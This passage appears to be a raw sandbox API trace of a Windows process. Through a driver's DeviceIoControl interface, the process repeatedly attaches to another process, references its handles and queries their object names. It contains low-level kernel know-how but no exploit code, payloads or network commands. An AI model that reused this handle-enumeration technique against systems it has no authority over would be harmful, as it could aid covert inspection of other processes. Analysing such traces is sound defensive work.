lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0121.650] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.650] PsAcquireProcessExitSynchronization () returned 0x0 [0121.650] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.650] ObReferenceObjectByHandle (in: Handle=0x224, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800316f070, HandleInformation=0x0) returned 0x0 [0121.650] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.650] PsReleaseProcessExitSynchronization () returned 0x2 [0121.650] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.650] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.650] ObfDereferenceObject (Object=0xfffffa800316f070) returned 0x12 [0121.650] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.650] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.650] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.650] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xcc, lpOverlapped=0x0) returned 1 [0121.650] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.650] PsAcquireProcessExitSynchronization () returned 0x0 [0121.650] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.650] ObReferenceObjectByHandle (in: Handle=0x228, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800edfdbe0, HandleInformation=0x0) returned 0x0 [0121.650] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.650] PsReleaseProcessExitSynchronization () returned 0x2 [0121.650] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.650] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002101044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8002101044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.650] ObfDereferenceObject (Object=0xfffffa800edfdbe0) returned 0x21 [0121.650] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.651] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.651] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.651] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xe4, lpOverlapped=0x0) returned 1 [0121.651] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.651] PsAcquireProcessExitSynchronization () returned 0x0 [0121.651] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.651] ObReferenceObjectByHandle (in: Handle=0x244, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800b9ffbe0, HandleInformation=0x0) returned 0x0 [0121.651] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.651] PsReleaseProcessExitSynchronization () returned 0x2 [0121.651] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.651] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.651] ObfDereferenceObject (Object=0xfffffa800b9ffbe0) returned 0x12 [0121.651] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.651] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.651] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.651] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xe4, lpOverlapped=0x0) returned 1 [0121.651] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.651] PsAcquireProcessExitSynchronization () returned 0x0 [0121.651] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.651] ObReferenceObjectByHandle (in: Handle=0x258, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f2c220, HandleInformation=0x0) returned 0x0 [0121.651] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.651] PsReleaseProcessExitSynchronization () returned 0x2 [0121.651] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.651] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.651] ObfDereferenceObject (Object=0xfffffa8002f2c220) returned 0x12 [0121.651] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.651] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.651] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.651] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xd8, lpOverlapped=0x0) returned 1 [0121.651] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.651] PsAcquireProcessExitSynchronization () returned 0x0 [0121.651] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.651] ObReferenceObjectByHandle (in: Handle=0x25c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800324b970, HandleInformation=0x0) returned 0x0 [0121.652] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.652] PsReleaseProcessExitSynchronization () returned 0x2 [0121.652] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.652] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.652] ObfDereferenceObject (Object=0xfffffa800324b970) returned 0x20 [0121.652] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.652] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.652] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.652] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xc8, lpOverlapped=0x0) returned 1 [0121.652] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.652] PsAcquireProcessExitSynchronization () returned 0x0 [0121.652] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.652] ObReferenceObjectByHandle (in: Handle=0x260, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003173b80, HandleInformation=0x0) returned 0x0 [0121.652] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.652] PsReleaseProcessExitSynchronization () returned 0x2 [0121.652] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.652] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.652] ObfDereferenceObject (Object=0xfffffa8003173b80) returned 0x12 [0121.652] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.652] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.652] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.652] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xd2, lpOverlapped=0x0) returned 1 [0121.652] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.652] PsAcquireProcessExitSynchronization () returned 0x0 [0121.652] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.652] ObReferenceObjectByHandle (in: Handle=0x264, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800296aa20, HandleInformation=0x0) returned 0x0 [0121.652] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.652] PsReleaseProcessExitSynchronization () returned 0x2 [0121.652] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.652] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.652] ObfDereferenceObject (Object=0xfffffa800296aa20) returned 0x12 [0121.652] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.653] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.653] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.653] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0121.653] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.653] PsAcquireProcessExitSynchronization () returned 0x0 [0121.653] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.653] ObReferenceObjectByHandle (in: Handle=0x2ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0121.653] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.653] PsReleaseProcessExitSynchronization () returned 0x2 [0121.653] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.653] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.653] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0121.653] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.653] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.653] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.653] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0121.653] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.653] PsAcquireProcessExitSynchronization () returned 0x0 [0121.653] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.653] ObReferenceObjectByHandle (in: Handle=0x2b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0121.653] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.653] PsReleaseProcessExitSynchronization () returned 0x2 [0121.653] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.653] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.653] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0121.653] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.653] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.653] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.653] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x44, lpOverlapped=0x0) returned 1 [0121.653] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.653] PsAcquireProcessExitSynchronization () returned 0x0 [0121.654] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.654] ObReferenceObjectByHandle (in: Handle=0x2f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003191de0, HandleInformation=0x0) returned 0x0 [0121.654] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.654] PsReleaseProcessExitSynchronization () returned 0x2 [0121.654] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.654] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.654] ObfDereferenceObject (Object=0xfffffa8003191de0) returned 0x1 [0121.654] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.654] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.654] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.654] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x44, lpOverlapped=0x0) returned 1 [0121.654] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.654] PsAcquireProcessExitSynchronization () returned 0x0 [0121.654] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.654] ObReferenceObjectByHandle (in: Handle=0x314, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800318ab80, HandleInformation=0x0) returned 0x0 [0121.654] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.654] PsReleaseProcessExitSynchronization () returned 0x2 [0121.654] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.654] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.654] ObfDereferenceObject (Object=0xfffffa800318ab80) returned 0x1 [0121.654] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.654] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.654] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.654] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x42, lpOverlapped=0x0) returned 1 [0121.654] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.654] PsAcquireProcessExitSynchronization () returned 0x0 [0121.654] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.654] ObReferenceObjectByHandle (in: Handle=0x32c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003191340, HandleInformation=0x0) returned 0x0 [0121.654] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.654] PsReleaseProcessExitSynchronization () returned 0x2 [0121.654] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.655] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.655] ObfDereferenceObject (Object=0xfffffa8003191340) returned 0x1 [0121.655] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.655] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.655] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.655] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x42, lpOverlapped=0x0) returned 1 [0121.655] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.655] PsAcquireProcessExitSynchronization () returned 0x0 [0121.655] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.655] ObReferenceObjectByHandle (in: Handle=0x330, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003190f20, HandleInformation=0x0) returned 0x0 [0121.655] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.655] PsReleaseProcessExitSynchronization () returned 0x2 [0121.655] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.655] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.655] ObfDereferenceObject (Object=0xfffffa8003190f20) returned 0x1 [0121.655] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.655] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.655] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.655] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0121.655] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.655] PsAcquireProcessExitSynchronization () returned 0x0 [0121.655] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.655] ObReferenceObjectByHandle (in: Handle=0x344, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0012b2d20, HandleInformation=0x0) returned 0x0 [0121.655] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.655] PsReleaseProcessExitSynchronization () returned 0x2 [0121.655] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.655] ObQueryNameString (in: Object=0xfffff8a0012b2d20, ObjectNameInfo=0xfffffa8001a0f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0f044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.655] ObfDereferenceObject (Object=0xfffff8a0012b2d20) returned 0x3 [0121.655] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.655] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.655] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.655] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0121.656] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.656] PsAcquireProcessExitSynchronization () returned 0x0 [0121.656] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.656] ObReferenceObjectByHandle (in: Handle=0x434, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f67870, HandleInformation=0x0) returned 0x0 [0121.656] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.656] PsReleaseProcessExitSynchronization () returned 0x2 [0121.656] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.656] ObQueryNameString (in: Object=0xfffffa8002f67870, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.656] ObfDereferenceObject (Object=0xfffffa8002f67870) returned 0x1 [0121.656] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.656] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.656] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.656] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xd2, lpOverlapped=0x0) returned 1 [0121.656] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.656] PsAcquireProcessExitSynchronization () returned 0x0 [0121.656] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.656] ObReferenceObjectByHandle (in: Handle=0x44c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003121070, HandleInformation=0x0) returned 0x0 [0121.656] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.656] PsReleaseProcessExitSynchronization () returned 0x2 [0121.656] ObfDereferenceObject 